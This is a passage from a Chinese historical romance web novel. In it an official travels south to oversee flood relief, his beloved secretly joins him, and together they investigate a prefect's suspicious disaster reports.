馥梨看了一会儿热闹,知道沈霜月习惯早睡,便同宋良弼告辞了,“宋大人,我同师娘先回去了。” 宋良弼方才也猜得了一盏玉兔灯。 他提在手上,送二人回到客栈前,犹豫片刻,还是将玉兔灯往馥梨面前递过去,“迟姑娘,如若不嫌弃,收下这盏灯,就当花灯会凑热闹留个纪念吧。” 玉兔灯造型别致可爱。 馥梨垂眼欣赏了片刻,还是摇摇头,“不是我自己猜出来的灯谜,怎么好意思要宋大人的灯。”她朝着宋良弼一福身,谢绝了,扶着沈霜月,回到去客栈。 沈霜月睨她一眼,小姑娘方才瞧热闹的兴致散了,神色有些闷闷不乐,“还是喜欢那盏宫灯?” “宫灯漂亮,我看看就好啦。”馥梨送她回房间,安顿好之后,再回到隔壁房间,坐下发了一会儿呆。 她是以为,陆执方知道她们来义诊,会赶过来。 结果宋良弼方才赏灯时,和她们闲谈,说陆执方在大理寺办公,半道又被陛下召进了宫里。 不想了,睡吧。 夜深人静,馥梨换洗好舒适宽松的寝衣,正要吹灭屋内的小灯,窗扉忽而“啪嗒”一声,像是被什么敲打了一下。馥梨没动,片刻后,又听见同一种响动。 她打开窗扉,面庞被倏尔冒出来的花灯照亮。 熠熠流光,正是灯塔最上层那盏精致宫灯。 宫灯一晃,露出个俊俏的冷面郎君。陆执方攀着栏杆,阔袖被夜风灌得鼓起来,姿态在如追云踏月的神仙,偏生语气幽幽:“拉我一把,快摔了。” 第47章 陆执方虔诚地吻上那颗痣…… “拉我一把,快摔了。” 馥梨先接了那盏宫灯,再握上陆执方的手,用力一拽,青年便借力翻身,跃进了她窗台。她从窗棂往外看去,这可是三楼,“你好好地怎么不走楼梯?” “这时辰都要登记访客,客栈是师娘订的……”陆执方言而未尽,馥梨心知肚明。 把师娘喊醒了,世子爷就要被再撵一遍啦。 沈霜月是真心把她当闺女看待,哪能在夜深人静的时分,让男子单独去她屋里,哪怕是陆执方。 八角宫灯用檀木精心雕琢而成,框架饰回字纹,薄纱灯罩柔软,上头所绘花鸟鱼虫,栩栩如生。馥梨用手指一拨,宫灯悠悠转起来,晕开浅淡的暖光。 “世子爷,所以灯谜的谜底是什么呀?” “你手拿来。” 馥梨的手伸过去,陆执方在她掌心轻画。 “黄绢为有色丝绸,是绝字,幼妇为少女,是妙字……”他嗓音轻缓,不疾不徐拆文解字,指头挠出的酥痒好像顺着手掌,钻到馥梨的手臂上。 “这是前朝大学者在某则碑文上的题词,谜底已叫前人解出来了,我侥幸在某本杂记上读过。” “原来,也不是世子爷解出来的。” “不能借花献佛?”陆执方抬了抬眉梢,长臂一捞,就要把那盏宫灯收回去,馥梨急忙藏在身后。 “没说不能呀!” 可青年郎君步步紧逼,把她逼到了墙角,轻易地夺走了她攥着的宫灯提柄就走。馥梨眼巴巴跟着他。 陆执方提灯将人溜了三圈,才吹灭原本客栈厢房的灯,将宫灯支在床头花瓶上,“给你当夜灯罢。” 少女眼眸弯起来,再露了笑。 陆执方揉乱了她的发,在软绵绵的脸蛋子上掐了一把,手感很好,还想再掐时,被她拉住了手指。 “宋大人说,陛下又召你进宫了。” “嗯。” “是什么要紧事,连花灯会都差点没赶上。” “怎么?又怕我被抓去尚公主?” 馥梨不说话,陆执方轻轻一提,叫她攀着自己肩膀,两只小小的绣鞋踩到了他乌皮靴面上。 少女骨肉匀停,这些日子吃住都在滦贤山,理应没少跟着师娘满山跑地采药,可竟然还长了些肉,可见过得十分舒心快活,只有他一人觉得思念难捱。 馥梨得以同他平视,盯着他:“你快说呀。” 陆执方莞尔:“不尚公主,是为了南方洪涝赈灾的事情,一切物资就绪,还差个督办钦差。太子殿下和三皇子都想派自己的人去,两边僵持不下,陛下便召了几个臣子来商议,我就在其中。” “商议出结果了吗?”馥梨有些关心,送去赈灾物资里有一部分还同她有千丝万缕的联系。 陆执方定定看她,声线沉了沉:“派了我去,还叫我暂代翁沙县的政务,直到新任知县调过来。” 馥梨愣怔:“这怎么……听着像贬官呢?” “你没猜错。”陆执方颔首。 新任知县何时调来,是户部决定的,而户部的权陛下还未放给东宫。赈灾结束后,他何时能回京中,全看圣心何时转圜,想起他这么个人来。 说到底了,陛下还是恼他直言拒绝了云梦公主,上次在春狩上隐忍着没有发作而已。 馥梨静了许久。 “世子爷,你家里知道了吗?” “没回去过,一出宫就往东市花灯会赶了。” 凭借镇国公府的灵通,父亲早该得到了消息。 陆执方搂着她温软身子,像在汲取力气,在馥梨颊边亲了一下,“不会一直扔我在翁沙县的,放心。”便是父亲不为他筹谋,大理寺和东宫都会出力。大理寺卿陈蓬莱已把他视为接任人了。 “你在这里,跟着师父师娘好好过。” “等我回来,就同家里说。” 赶去东市的路上,心绪翻涌。 赶到东市花灯会,人潮拥挤,他隔着人山人海,看到她与宋良弼靠近说话,心头亦翻江倒海。 本该以为有千言万语,临到这一刻,搜肠刮肚也只得两句叮嘱。她愿意陪他争取,已是最大的承诺。 陆执方松开她,“走了。” 腰上被一双柔软的手扣住。 少女眼里情绪满溢,樱唇微张,几度开阖无话,最终将柔软馨香的唇贴上来,在他下颔亲了一口。 “给你送这么漂亮的宫灯,就值这……”陆执方故作轻松的调侃没说完,被她唇堵上。 生涩笨拙,偏生学着他,寸许丁香缓缓勾缠。 陆执方感觉有一股火,从心里烧到了腹下。 花瓶上斜插的宫灯忽而摇晃。 纠缠的一双人影在壁面一转,跌入了床榻上。 陆执方掌着她后脑勺,夺回主动权,含过香唇,尝过丁香,深吻辗转至莹润白皙的耳垂,轻咬重吮。 怀中人止不住颤,低哼一声,甜软得过分。 他再加重力道,听不到第二声轻吟。 馥梨竭力控制着,“耳朵痒,不要……” “好。”陆执方从善如流,自问体贴地从她耳廓移开,辗转往她颈窝去。美人衣襟散乱,剥出圆润的肩头,偏颈窝小红痣一点艳色,在雪肤上勾魂夺魄。 陆执方虔诚地吻上那颗痣。 掌心之下,兰躯隔着一层薄衫,于曼妙绵软之中透出温热,随她阵阵的急促呼吸起伏。深夜偶有思念梦回,万般绮丽梦幻,都抵不上此刻真实,细腻。 叫人几乎悸动到喟叹。 馥梨中衣褪至臂弯,正簌簌颤颤。 陆执方叫她手脚发软的吻却停了下来,抬首对上她的眼睛。他如寒潭幽深的眼里有欲色,也有克制。 清冽呼吸缠绕在她鼻尖。 “小梨儿。” 他亲昵地唤,声音微哑。 馥梨攀上他后颈,将他拉下来,闭眼吻上去。 陆执方当真叹息了一声。 吻至两唇发烫,呼吸无分你我,他拉过了一旁叠的薄被,将她严严实实盖好。小娘子双眸迷离困惑,一双玉臂还要伸出来抱他,被他无情按回去。 “等我回来?嗯?” “好。” “乞巧节、庙会、重阳踏青……无聊了玩乐可以用迟霓的名义,给嘉月递帖子,不准找别的郎君。” 小娘子迷蒙片刻,好像在思考,“别的郎君都是……”唇旋即被手掌捂上,方才还轻声叮嘱的人,此刻语调冷沉了几分,“想也不许想。” 陆执方回到镇国公府时,本该是熄灯时辰。 然而正堂灯火通明,陆敬坐在里头,冷眼看他。 “我还以为,你一出宫就收拾收拾包袱,赶去那穷乡僻壤赴任了。还知道回来?” “父亲,陛下有令,让明日再出发。” “你知道为何非得是明日吗?今夜就是最后给你反悔的时机。你明早随我进宫,求娶云梦公主。” 陆执方拢袖看着眼前的父亲。 “陛下九五之尊,金口已出,岂能因几句话朝令夕改。父亲若是怕陛下气难消,影响陆家朝堂地位,大可不必。陛下既已责罚,便不会再无端迁怒。” 陆敬心思被他直白戳破,脸上有几分挂不住,差点就把凉透了的茶水泼过去,“赈灾钦差岂是那么好做的?陆家是两头不偏,你与太子同一师门,在那位看来就是隐藏的太子党。你这差事,做到十全十美才能有功,但凡出一点纰漏,都是祸端!” 此话不假,陆执方没有反驳,垂眸听训。 正堂灯火亮至深夜。 陆敬没能说动陆执方,只知道翌日一早,不孝子又被召进宫去训诫了一番,调令依然没能更改。 等陆执方离城,已经是午时。 镇国公府里只有陆嘉月来送,苗斐也想来,碍于陆敬还在生气,便也没来。 大理寺同僚来得不少,连连宋良弼都在。 陆执方一一仔细看去,没有那道玲珑身影。 游介然是来得最早的。 他骑了一匹马送行,还带了一架装满了货物的大车,车夫也是游家雇的,“这车物资是小爷自掏腰包补贴的,不跟户部赈灾的大部队走,就跟你的车,我跟你送到驿站就原路回头。” 陆执方看了一眼,觉得麻烦,倒没拒绝。 他示意那车夫跟上陆家车马,再调转马头,回望城门下,送行的人该到的都到了,也告别过了。 “时辰差不多了,出发吧。”他挥手,示意高扬驾车送嘉月回去,便一夹马腹,先朝着城外跑。 “哎,陆九陵你等等我啊。”游介然骂骂咧咧,一甩马鞭追上去,踏出尘土飞扬。 户部大部队先行,他们便不算赶。 一下午的路程,抵达罗阜官驿时,正是日落。 荆芥替他要了官驿最好的房间,陆执方告别一路絮絮叨叨的游介然,在大堂用完晚膳,回到厢房里。 屋里正中央的空地上,摆了个大箱子。 “这是何物?” “世子爷,这是游公子随车物资里的,他叮嘱过小的,要夜里给你搬回来。” 荆芥回忆那重量,“可能是酒坛?挺重的。” “公差路上,不至于这般没分寸。” 箱子上贴着封条。 飞扬肆意的字迹,一看就是游介然写的——“今夜日落,九陵亲启。”陆执方嫌弃地皱眉,想不到他葫芦里卖的什么药,挥挥手让荆芥退出屋外。 “撕拉”一声,封条被他开启,箱子盖忽然动了动。陆执方冷静盯视那盖子,退开了半步距离。 盖子抖抖,啪叽翻开,从里头探出个雪肤花貌的小娘子,抱膝正好到他半身高,脸蛋上还印着箱子里木板条一道道的痕迹,眼神却很亮。 “陆执方。” “我食言了,我还是想……” “想陪你一起去。” 馥梨看着眼前愣怔失神的青年郎君。 她没有像陆执方说的那样,半点不想他。 她想的。 第48章 小祖宗。 “想陪你一起去。” 馥梨说完了,眼前的青年郎君却没有她预料的欣喜。哪怕知道他惯常是喜怒不形于色的人,她都没从陆执方的脸上看到一丝一毫克制后的欢欣。 “先出来。”他伸来一只手。 馥梨握上他干燥温暖的手掌,维持同一个姿势在箱子里睡了这一路,猛然站起来,腿上哪哪都酸软无力。她一步踏出来,身子往前一栽,陆执方手臂绷紧给她扶好,提声往外吩咐。 “荆芥,叫大堂送一顿晚膳来。” “是。” 大堂饭菜送得很快。 红烧肉、清炒韭菜、卤水豆腐并一碗蛋花汤。热腾腾的三菜一汤,已是官驿里能提供的最好晚膳。 陆执方扫了一眼脸蛋印记还未消的小娘子。 “好吃吗?” “嗯。” 馥梨扒着饭点头,唇上沾了点油光。 陆执方见过她在静思阁吃年夜饭,与她在滦贤山拜访老师师娘时,同坐一桌共进过餐。馥梨吃饭细嚼慢咽,斯斯文文,此刻依旧如此,可也看出来饿得急了。人但凡饿起来,粗茶淡饭都是人间至味。 官驿厨子的手艺分明糟糕得很。 “我去赈灾兼代管翁沙县的政务,那里受灾最重,去到了,或许连这样的三菜一汤都吃不上。” 陆执方的语气很认真。 “我也不是去游山玩水的呀。” 馥梨夹卤水豆腐的动作一顿,重新攥了攥竹筷,“我跟师娘这段日子,学了处理伤口的简单办法,懂得清理包扎,时令病像是风寒的通用配方我记得,到了可以给医馆调配,还能给大夫们打下手。” 陆执方无言,脸上表情显然还是不赞同。 馥梨闷声吃饭,屋内一时静得很。 至熄灯时分,两相对视,谁都不想让步。 陆执方坐在床缘,朝她伸了手。他没让荆芥再多开一间厢房,馥梨是去是留,今夜都同他一处,全看明日出发前,谁是先说服对方那一个。 小娘子乖顺地走近他,与他牵手。 薄被覆盖上,体温熨帖,屋内还留一盏暖灯。 “赈灾队伍里有医官,有专门应对时令疫病的药物,不缺你一个忙前忙后。你走了,谁帮师娘编写草药典籍?”陆执方的声音放松低缓,有些像耳语。 馥梨没有答话。 他还在描述:“春汛初退,路上泥泞脏污,断壁残垣,未处理的人畜尸体随处可见。当真不怕?” 她被他握着的手动了动,还是没说话。 “明日一早,我就让荆芥送你回去。” 眼下还没离开皇城太远,一个下午的路程,荆芥脚程快,送她回去再追上,不会耽搁一点进度。 陆执方拢着她柔弱无骨的手指,不轻不重掐了下,放到唇边亲,“小梨儿,点头说好。” “才不好。” “馥梨……” “陆大人考虑了人手充足,考虑了师娘的草药典籍,连我会害怕灾后乱象都预设了,怎么最重要的理由却一点都不想?” “什么是重要的理由?” 馥梨声音轻轻的:“陆执方,你不想我在吗?” 陆执方愣怔。 “你说一句不想,我明日立刻就跟荆芥走。”馥梨将手抽走,翻了身拿背对着他,连着薄被也扯走了。 陆执方怀里一下空荡,温热倏尔散尽。 还未成婚,已经无师自通懂得怎样治他了。 他想的,怎么不想。 看见她从箱子里冒出来的第一眼,还觉得是日有所思看见了幻想。陆执方呼出一口气,“馥梨。” 小娘子给他一个裹成蚕的背影。 他语气幽幽:“我冷。” “……” “真的冷。” 小娘子掸掸手脚,撑开薄被,又慢慢滚了回去,将他妥帖收藏在不够宽厚,却温软馨香的怀抱中。 两人都睡了个好觉。 翌日清早,馥梨换上大箱子里预备好的男装,游介然想得周到,连尺寸都大差不差。深蓝色软皮小帽,配同色的细棉窄衫长裤,不过片刻,娇俏清丽的小娘子变成了机灵清秀的小厮。 陆执方看馥梨在眼前转了两圈。 眉眼肤色都用脂粉刻意修饰过,遮盖女气,强调利落干净的眉锋与鼻梁,饶是如此,举手投足依然能看出几分女儿家的天真娇憨,只能糊弄眼拙的。 “难道不像吗?”她刻意瓮着嗓子,眨眼问。 只得七八分像,不过男装到底行事方便,陆执方扶正了馥梨的软皮小帽子,“去到地方少说话,我去哪里,你去哪里,当个哑巴影子。” 馥梨点头。 陆执方越过她走到屋外,回头催促时,语气终于漏了点笑:“还不快跟上?” 馥梨小跑着去。 翁沙县在定南府,一入定南,事先会经过陶州。 陶州城外,有锦衣青年骑马来回逛,视线梭巡每一个入城的人。馥梨骑马跟在陆执方身后,青年远远先看陆执方,再看她和随行人员,眸光一亮,打马迎上来:“敢问可是赈灾钦差陆大人?” 陆执方侧目:“阁下是?” 青年一笑:“小人是南定知府嵇锐进之子,嵇鹏,家中行二,陆大人叫我嵇二就好。父亲得知陆大人不日将到,特定命我在城外迎接。陶州不曾受灾,但有其他州民涌来,家父怕冲撞了陆大人。” 嵇二郎一边说,一边引着他们一行人往城门去。 “对了,陆大人能否让我看看钦差令牌?” “怎么?嵇二郎怕有人胆子肥到假冒钦差?” “天灾之下,什么牛鬼蛇神都冒出来了,我实在看招摇撞骗的人看得太多了。” 嵇二郎说罢,竟勒了马。 原先守城门的卫兵见到他来要放行,一双长塑又顿时降下,拦住了去路。陆执方眸光微闪,同嵇二郎对视,从对方眼中看到了答案。 他转头看向荆芥。 荆芥朝嵇二郎出示了吏部的调令文书。 这便是陛下派他督办赈灾的矛盾之处,给他督办之权,钦差名头,却无管辖知府的钦差令牌,调令文书上只说暂代翁沙县政务。若非他大理寺官职还在,官阶上还比嵇锐进低两级。 嵇二郎细细看过,恭敬地递回,“小心驶得万年船,陆大人勿怪。天很快将黑,客栈已经定好,小人这就带陆大人先行安顿。” 馥梨留神看了入城后的景象。 嵇二郎说陶州不曾受灾,路面便也没有陆执方给她描述的那种惨状,甚至连涌入的流民都很少。日暮刚至,不少商铺就闭了门,街道上行人稀少。 嵇二郎将他们带到了客栈。 “小二哥,这位是前来督办赈灾事宜的钦差大人,好酒好菜都招呼上,赶紧的。” “好咧!” “不必铺张。” 陆执方提了一句,跑堂小二摇头笑了笑,“说是好酒好菜,待会大人见了可别笑。定南多州受洪灾,嵇大人组织富商慷慨解囊,咱东家捐了不少米面肉,连招牌菜好几例都撤下去了。大人来年再来,小店定能叫您吃上更好的定南美食!” 陆执方有些讶异,挑了挑眉。 待席面呈上,果真只是略丰富一些的寻常饭菜。 同官驿水平差不多。 陆执方吃了个半饱,没再动筷,馥梨坐在他旁边捧着碗,见他不吃了,便也放下碗筷。桌布之下,她的手忽然给陆执方抓住了。她抬眸去看,这人一边同嵇二郎镇定自若地闲谈,一边在她掌心比划。 一笔一划地写——吃你的。 她脸颊微烫,右手又握起了筷子。 直到嵇二郎拿出了一叠简报,“陆大人看。” 陆执方松手,接过来,发现是定南府各州的简略情况,包括农田受灾、屋舍损坏、居民伤亡失踪数目,按最严重到最轻,依次排列。 “这是家父在洪涝发生后,命各县统计呈报的,只是目前得知的情况,最新的还有待各县跟进。户部与工部几位大人先陆大人一步,已经派物资往翁沙县、安浚县、义宁县这些受损最厉害的地区去了。” 陆执方捻着那叠简报没说话,看了嵇二郎一眼。 嵇二郎摸摸鼻尖:“可是有什么不妥?” “没有,嵇大人做得很好,”陆执方笑,“有了这些简报,还省了本官许多的行路麻烦。” “家父正是此意,他正忙着在定南府组织重建,脱不开身,过两日就到翁沙县亲自拜会陆大人。” 嵇二郎举杯:“薄酒一杯,为陆大人接风洗尘。” 陆执方亦举杯饮过,那酒味酸薄,在舌尖笼罩,回到厢房里,用清茶漱过两遍口,才消散干净。 馥梨吃饱九分饱,有些困。 客栈厢房不大,一床一榻,她坐在榻上打盹儿的功夫,看见陆执方从箱笼里翻出一套黑色夜行衣,放在床边,显然是打算迟点再换的。 “陆大人这是要……” “嘘。” 陆执方朝她无声比了个手势。 待一刻钟后,屋外传来荆芥的敲门声,“爷,排查过了,客栈前后门各有一人看守,别的地方没了。” “好。”陆执方放下了茶瓯,示意她继续讲。 馥梨指指那套夜行衣:“要去哪里?” “去各处转转。” “世子爷怀疑嵇二郎说的吗?” “怀疑谈不上,眼见为实,见过了再说。” 陆执方不是第一次出公差,每每到任地方,地方官给他的接风洗尘总是分外豪奢,美酒佳肴不说,连歌姬琴妓都要安排,生怕他有哪些不满意。 嵇二郎的接风洗尘,太顺心合意,倒叫他警惕。 他才解释完,就见馥梨也从自己衣箱里翻出了一套夜行衣,满眼期待地看着他:“世子爷。” 陆执方一噎,“游介然怎么连这个也备?” 小娘子嗓音轻软,还是那句话:“你想我去吗?”言下之意,他说一句不想,她就不去。 陆执方磨了磨后槽牙,说不出一个不字。 “世子爷?” “别喊爷了,迟早得倒过来喊你一声。” “喊什么?” 陆执方不答,泄愤般吻上她明亮的杏眸。 小祖宗。 第49章 连人带包袱一起扛。…… 荆芥负责引开客栈后门盯梢的人。 馥梨背着个沉甸甸的小包袱,听见荆芥弄出动静和随他远去的脚步声后,同陆执方悄悄溜出了客栈。 今夜月圆,照得陶州城寂然清冷。 两人影子在石砖路上被拉得斜长,往入城时看见的没那么繁华的街道走去。嵇二郎给他们订的客栈是陶州城里最好的,他们要找差的,最差的那种。 “世子爷,那里!” 馥梨看得清楚,指向长街西北面一间插了三角旗的商铺。她在简县住过那种好几个人挤一屋的客栈,本来是民房,主人家私自改商用,就用这种三角旗做标记,想来南方各地都差不多。 陆执方敲门,让馥梨在门口守着。 店家姗姗来迟,挪开了门板,夜里只看见来两人一身黑衣,个子矮小那个还背了行囊。 “住店的?” “多少钱一晚?” “上房没了,下房通铺,一人三十文。” “这么贵?” “三十文还嫌贵?城中哪个客栈有我便宜?”店家不耐烦皱皱眉,伸手一指远方,“再往西走八里有间破庙,那里不用钱,随便住。” 说罢就要把门板再卡上。 陆执方掏出二十文,挡住了门板。 “不住店,下等房让我进去看一眼,问几句话,定南洪涝,家中亲戚没了音讯,我们来寻人。” 店家嘟嘟囔囔嫌麻烦,又舍不得小钱,收了钱转回去,“你跟我来,不少都睡了,被骂了别怪我。” 馥梨一直留神看街道上有无旁人经过。 远远听见一阵打更声,有更夫经过,她隐入角落躲藏好,待更夫走开了,商铺里头陆执方也出来了。 “走这边,那边会碰见更夫。” 她自然而然地拉起陆执方。 陆执方盯着那小手,捏在他黑袖子上,分外莹白还有些圆润。他无声勾了勾唇,听见馥梨小声询问:“世子爷,里头可打听出什么了?” “各县来避难的十五人,而来自安浚县、义宁县的一个都没有。简报说这两县是翁沙县外受灾最严重的地方。要么情况不实,要么严重到无人逃脱。” 陆执方牵着她,按照店家的描述,去寻那破庙。 八里路不好走,小姑娘脚步不曾慢下来,话渐渐变少了,在暗暗保留力气。陆执方松了手,往她后背去,“包袱给我。”出门时,馥梨非要替他背的。 馥梨身形一滞,后退了一步,“我还行,待会儿就不用背了,已经没多远……”腰上一紧,陆执方双掌钳上来,将她竖直地提溜起来,“不给就算了。” 连人带包袱一起扛。 她手忙脚乱,“给、给你背,快些放我下来。” 陆执方将她放下,她脚踩到地面,沉甸甸的包袱转到他背上,肩膀被他手掌不轻不重地揉了一下。 馥梨肩头本就在发酸,没忍住呜了一声,肩膀上的手就敲到她脑门上,“累了不知道说,活该。” 那语气凉凉的,重新牵上她的手掌却很温热。 小破庙比馥梨预想的还要小,还要老旧。 仿佛再来一场疾风暴雨,就能把屋顶掀翻了。看这模样,容纳不了多少人。她看陆执方在小破庙角落的空地上,解开了包袱,露出了满满当当的红薯。 “处理下。”陆执方点点那堆红薯。 馥梨一个个捡出来,又找来好些树枝,折成小棍子,陆执方已生好了火。火苗燃烧,火舌舔过枯枝,爆出细微的噼啪声,给他清冷面容镀上一层暖光。 “世子爷怎么会做这些的?看着好娴熟。” “一些是老师教的,一些看荆芥做,看会了。” 两人并肩坐着,没有再言语。 馥梨将脑袋靠过去,陆执方的手臂便揽过来,她眯着眼,迷迷瞪瞪睡了好一会儿,给烤红薯浓郁的甜香唤醒了。一睁眼,对上好几双闪着幽光的眼睛。 她差点吓得惊呼,定睛一看,都是半大孩子。 孩子们全都蓬头垢面,面黄肌瘦,看着火光中的烤红薯咽口水。有的孩子手里还紧紧捏着削得极尖锐的薄石块,把它当成仅有的防身武器在用。 两个大人,一群小孩。 要是混乱对弈,小孩们也并非毫无胜算。 他们彼此对视一眼,天真稚嫩的脸庞露出了不符合年纪的早熟与盘算,三三两两围拢来,想强抢。 陆执方动了动手腕。 为首最大的孩子猛地停住了。 他解开护腕,露出了他们没见过的精巧机关,在月色下泛出幽冷光泽。大孩子只见他两指微扣,噗地一声,自己的脚尖微震,低头瞧见一支短箭没入他的草鞋前一寸,深深扎入了冷硬泥地里。 孩子们刚提起的胆气吓得四散。 如惊弓之鸟,仓惶而逃。 此刻,又有什么朝着他们扔来,“接好了。” 温热到滚烫的,软绵绵的烤红薯。薄薄的皮被烤得裂开,流动的金黄蜜浆黏糊在手上。 呼吸之间,都是久违的香甜。 最先拿到的孩子傻愣,皮都没剥,就咬了一口。 陆执方将剩下的烤红薯一个一个抛过去,“一人一个还有多,安安分分别争抢,都有吃的。” 灾情乱象中,能够卖力气的青壮男人有钱落脚。 破庙里睡觉的自然剩下妇孺老弱。对这些最饥寒交迫的人来说,半夜热腾腾的烤红薯比铜板还管用。 只他没想过,这次遇到的全是小孩儿。 馥梨望见最先吃的小孩儿,眼里已冒出泪花。 不知是觉得太好吃了,还是觉得辛酸。 “你们要不要,坐过来吃?这里还有好多。”馥梨拍了拍旁边的位置,“我们只想打探一下灾情。” 人群里头年纪最小,脸最圆的小孩儿捧着红薯,先一屁股坐在了馥梨身边,埋头苦吃起来。吃完了,馥梨给他递了第二个,“你叫什么名字?” “我叫王小五。”王小五奶声奶气,吃得嘴角都花了。其余人见确实可以领到第二个,也都围拢过来,方才剑拔弩张的气氛变得和缓。 陆执方打量着这些孩子:“你们不是陶州人?都是一个地方来的吗?” “我们是如溪县来的。” “原先就认识吗?” “在同一条村的私塾先生那里识字。” “家里人呢?” 提及家里人,孩子们纷纷沉默,手里烤红薯顿时变得没滋没味了,有人开始抹眼泪,哽咽着道: “洪水来时最先冲的就是翁沙县,接着是我们县。那时,我们正在私塾上着课,私塾地势高,躲过去了,可我们好多人都同家里失散了,只好聚在一起,不至于孤零零地受人欺负。” “县令没安置你们?” “粮食有限,帮县衙做事的人先得,我们争抢不过大人,原来家里房子也冲塌了,听说陶州没受影响,还有富商施粥赠药,就过来了。” “谁知道,过来了,也是饥一顿饱一顿。我就说,留在村里等官府救灾。”说话的孩子垂头丧气。 另一个孩子高声反驳:“我才不等!那么多畜生都淹死了,肯定要发瘟病的,连县老爷都要病了。” …… 陆执方记得,如溪县在简报上,灾情描述很简略,排的顺序也在后面,按理说是受影响轻的地方。嵇二郎说如溪县人少,疏散得及时,不算太严重。 他又陆续问了这些孩子好几个问题。 提及定南知府嵇锐进,为首年纪最大的孩子情绪尤为激愤:“姓嵇的就是个狗官!” 馥梨道出疑惑:“可陶州百姓都在夸他,说他及时组织富商慷慨解囊,都捐到有需要的地方去了。” 那孩子恶狠狠地骂道,“假仁假义!做这些肯定为了博得好名声。我们在如溪县等了好多天,连块饼都没等到。说不准就是他独吞了。” 王小五细声补充:“我听奶奶说,大康的远房姐姐在知府老爷那里做婢女,把命稀里糊涂搭在那了。”这个大康,就是骂嵇锐进假仁假义的孩子。 烤红薯一个个送出去。 篝火堆没再添柴,火渐渐变小了。 孩子们七嘴八舌,说出自己知道的情况,说到最后,异常地沉默。馥梨从身上掏出所有铜板给了王小五,“虽然不多,明日一早,拿去买些干粮吧。” 陆执方用泥土弄熄地上最后一点火星,“明晚这个时候,有人来给你们送钱粮,好好待着别乱跑。” 两人告别了那些孩子,离开了小破庙。 馥梨牵着他,一路安静无话地走,步伐比来时更沉重几分,忽地,静悄悄的月色中,腹中叽咕一声。 她脸上腾地涨红了,去看陆执方。 青年眸中闪过笑,从怀里掏出个半热的烤红薯,塞到她手心里,“只剩个最小的了。” 馥梨睁大眼:“世子爷何时藏起来一个的?” “你顾着派,自己忘了吃的时候。” 陆执方随手揉乱了她后脑勺的头发。 距离客栈后门一段路的地方。 荆芥守在那里,远远见到他们身影,快步迎来,“爷,得快些回去。” “怎么?” “客栈那边,嵇二郎房间一刻钟前亮了灯,说是遭贼了,正在搜查,还想进去你屋里说话。” “黄柏守在屋门口,不会放他进来。” 陆执方加快了脚步,虽然不会进来,但他太久不出房间,嵇二郎必定起疑心。他看似殷勤接待,实则自他们踏入陶州城门后,每一步都在他视线之下。 二楼厢房,嵇二郎带了好几人,正同黄柏对峙。 “我确认一眼陆大人安全,即刻就离开。” 黄柏挡着,神色不耐烦,“都说爷正睡着。” “这动静,早该把陆大人吵醒了,屋内一直安静,难道你不担心你家主子?”嵇二郎声音冷下去,指挥手下硬闯,“陆大人负责赈灾,身系我定南府的百姓福祉,我实在不得不看一眼求个心安。” 第50章 春风醉浸过的唇。…… 黄柏虽然武艺在荆芥之下,对付嵇二郎手底下的衙差,也足够了,何况应付到一半,荆芥就赶来帮忙。他放心地迈出几步,将屋门留给荆芥守。 打着打着,却听见了屋门被撞开的声音。 他错愕地回头,望见荆芥失守,漏了个大破绽,衙差们趁机涌入,悉数闯到了屋里。怎么会? 转眼间,嵇二郎已经迈步入内。 屋内昏暗,床帏落下,遮挡得严实。 盯梢客栈的人换防时来禀告,无意中说漏了嘴,让他知道守后门的人曾经擅离岗位。 “陆大人?”他试探着问道。 床帏内静悄悄的,无人应答。 “陆大人,客栈遭盗贼,我屋内财物被抢,小厮还受伤了,特意来看看陆大人是否还安好?” 嵇二郎的手慢慢靠近,蓦地,陆执方带着困倦与不耐的声音从内传出:“哪个贼吃了熊心豹子胆。” 嵇二郎面色微变。 陆执方已掀开了一半幔帐,盘腿坐起。 走廊的灯光透了些进来,隔出一道模糊的亮色。他看着满屋的人,以及随时戒备的荆芥和黄柏,似笑非笑,“不知道的,倒以为本官才是那个贼。” 嵇二郎讪讪,挥了挥手,屋里的衙差霎时间走得干净。他作了赔礼姿态,腰深深躬下去,“是我打搅陆大人。”说虽如此,并没有立刻就退出去的意思。 再抬头,他双眼仍旧带着探究,看向陆执方。 陆执方吩咐荆芥点灯,守在屋外。 他趿拉起床边的软履,拢好了中衣,遮住了露出的一片赤裸胸膛,施施然走到弥勒榻上坐好。 嵇二郎此刻才发现,床边还散乱着一双小鞋。 半开半阖的床帏内,女子如缎子柔亮的长发铺开在软枕上,影影绰绰看不清侧脸,露出来的一段颈脖柔美非常,肤色在乌发衬托下白如凝玉。 即便看不清脸,也能想到是个勾魂的美人儿。 陆执方表情坦荡,狭长眼眸里风流蕴藉,语气是纵情过后的慵懒放松,“本官睡前小酌了两杯,于是便睡得沉了些,没听见嵇二郎询问的动静。” 他从弥勒榻底的箱笼里,翻出一壶酒,“嵇二郎来一杯?京城带来的酒,滋味比晚宴有许多不同。” 嵇二郎未答,陆执方已给他倒上了一杯,随手递过来。他不好拒绝,饮了一口,入口绵醇,高粱香气萦绕,果真是好酒,好到让他心头泛起了困惑。 这位大理寺少卿能谋善断的名声,稍一打探就可知道。他未曾预想过陆执方是个草包,却未料到他也戒不掉膏粱子弟的作风,赴任路上带美酒,入夜枕边睡美人,今夜之事,或许真是他多心了? 默然片刻后,嵇二郎摇头笑了笑,搁下杯盏。 “果真是陶州寻不着的好酒,良宵苦短,我就不妨碍陆大人了。明日一早,我便护送陆大人到翁沙县去,那里灾民流离失所,就盼着陆大人的庇护。” 馥梨在床帐中背对着他们,听得嵇二郎离去,屋门阖上的声音,才慢慢转过身来。她坐起来,覆盖到肩膀的薄被滑下,露出一身未来得及更换的夜行衣。 手心出了一层薄薄的汗,有惊无险。 陆执方在弥勒榻招呼她:“过来。” 他换了一只新的小酒杯,斟满了酒,递给馥梨。 游介然塞到大箱子里给馥梨的东西,有的没的,鸡零狗碎,有能派上用场的,也有瞎胡闹的玩意。 比如这两壶春风醉。 馥梨拿着酒杯犹豫,还是喝了下去。 醇厚酒液淌过了喉头,冰冰凉凉的,滑入肺腑却像一把火,烧起暖融融的热意,把她脑子里紧绷的那根弦也烧掉了。人顿时觉得了一些放松来。 陆执方温声问她:“还要吗?” 她勉强维持理智:“会不会影响明日行程?” “不会。”陆执方伸手一拉,把她拽入怀里。 “可是我怕嵇二郎发现了是我……” “他没发现才怪。” 陆执方给她空杯蓄满了酒,再喂到她唇边,淡声解释道:“随行没有女子,他下楼了同驻店一打听就知道我有没有从花街柳巷叫人来,不难猜到是你女扮男装陪的我。适当露一些破绽,能叫他更放松。” “我就是怕,给你拖后腿了。” “没有,小梨儿很得用。” 小娘子不知道他所谓的破绽是何。 